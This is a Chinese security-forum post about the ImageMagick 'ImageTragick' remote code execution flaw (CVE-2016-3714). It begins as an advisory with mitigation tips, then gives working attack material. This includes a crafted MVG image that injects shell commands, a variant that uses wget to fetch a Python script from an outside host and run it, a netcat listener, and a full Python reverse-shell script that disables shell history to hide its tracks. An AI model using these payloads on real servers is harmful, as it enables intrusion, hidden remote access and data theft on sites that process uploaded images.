搜索
查看: 4752|回复: 1

安全预警:ImageMagick图象处理软件存在远程代码执行(CVE-2016-3714)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-5-5 14:13:35 | 显示全部楼层 |阅读模式

14623652462536.jpg

ImageMagick是一款广泛流行的图像处理软件,有无数的网站使用它来进行图像处理,但在本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。Slack安全工程师Ryan Hube发现了这一0day漏洞。

如果你在网站中使用了ImageMagick去识别,裁剪或者调整用户上传的图像,你必须确认已经使用了这些缓解措施,并且调整你的代码只接受有效的图像文件,沙盒ImageMagick也是一个不错的主意。

在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播,所以如果你使用了ImageMagick去处理用户输入,请立即采取相应的缓解措施。

ImageMagick被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupal。

该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。

换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。

ImageMagick团队已经承认了此漏洞,称:

最近发布的漏洞报告……包含可能存在的远程代码执行。

虽然该团队还没有公布任何安全补丁,但它建议网站管理者应该在配置文件中添加几行代码去阻止攻击,至少在某些情况下可以防御。

Web管理员同时被建议在文件发送给ImageMagick处理前,检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等。

为了让你更好地了解你将要面对的漏洞,下面提供一个可以瞒过ImageMagick的示例文件:

push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg“|ls “-la)’
pop graphic-context

将其保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它

convert exploit.jpg out.png

是的,ImageMagick将会去执行嵌入的代码:ls -l命令。

将这条命令替换为其它的恶意命令,将会直接威胁到目标机器,不过你可能会触犯一些法律。


该漏洞将在ImageMagick 7.0.1-1和6.9.3-10版本中被修补,这些新版本预计将在周末前被公布。




POC:
创建图片,图片内容为:
  1. push graphic-context
  2. viewbox 0 0 640 480
  3. fill 'url(https://example.com/image.jpg"|wget http://www.chinabaiker.com.com/x.py -O /tmp/x.py && python /tmp/x.py 1.1.1.1 2333")'
  4. pop graphic-context

复制代码
然后监听

  1. nc -l -p 2333 -vv
复制代码
监听脚本:
  1. # -*- coding:utf-8 -*-
  2. #!/usr/bin/env python
  3. """
  4. back connect py version,only linux have pty module
  5. code by google security team
  6. """
  7. import sys,os,socket,pty
  8. shell = "/bin/sh"
  9. def usage(name):
  10.     print 'python reverse connector'
  11.     print 'usage: %s <ip_addr> <port>' % name

  12. def main():
  13.     if len(sys.argv) !=3:
  14.         usage(sys.argv[0])
  15.         sys.exit()
  16.     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  17.     try:
  18.         s.connect((sys.argv[1],int(sys.argv[2])))
  19.         print 'connect ok'
  20.     except:
  21.         print 'connect faild'
  22.         sys.exit()
  23.     os.dup2(s.fileno(),0)
  24.     os.dup2(s.fileno(),1)
  25.     os.dup2(s.fileno(),2)
  26.     global shell
  27.     os.unsetenv("HISTFILE")
  28.     os.unsetenv("HISTFILESIZE")
  29.     os.unsetenv("HISTSIZE")
  30.     os.unsetenv("HISTORY")
  31.     os.unsetenv("HISTSAVE")
  32.     os.unsetenv("HISTZONE")
  33.     os.unsetenv("HISTLOG")
  34.     os.unsetenv("HISTCMD")
  35.     os.putenv("HISTFILE",'/dev/null')
  36.     os.putenv("HISTSIZE",'0')
  37.     os.putenv("HISTFILESIZE",'0')
  38.     pty.spawn(shell)
  39.     s.close()

  40. if __name__ == '__main__':
  41.     main()
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表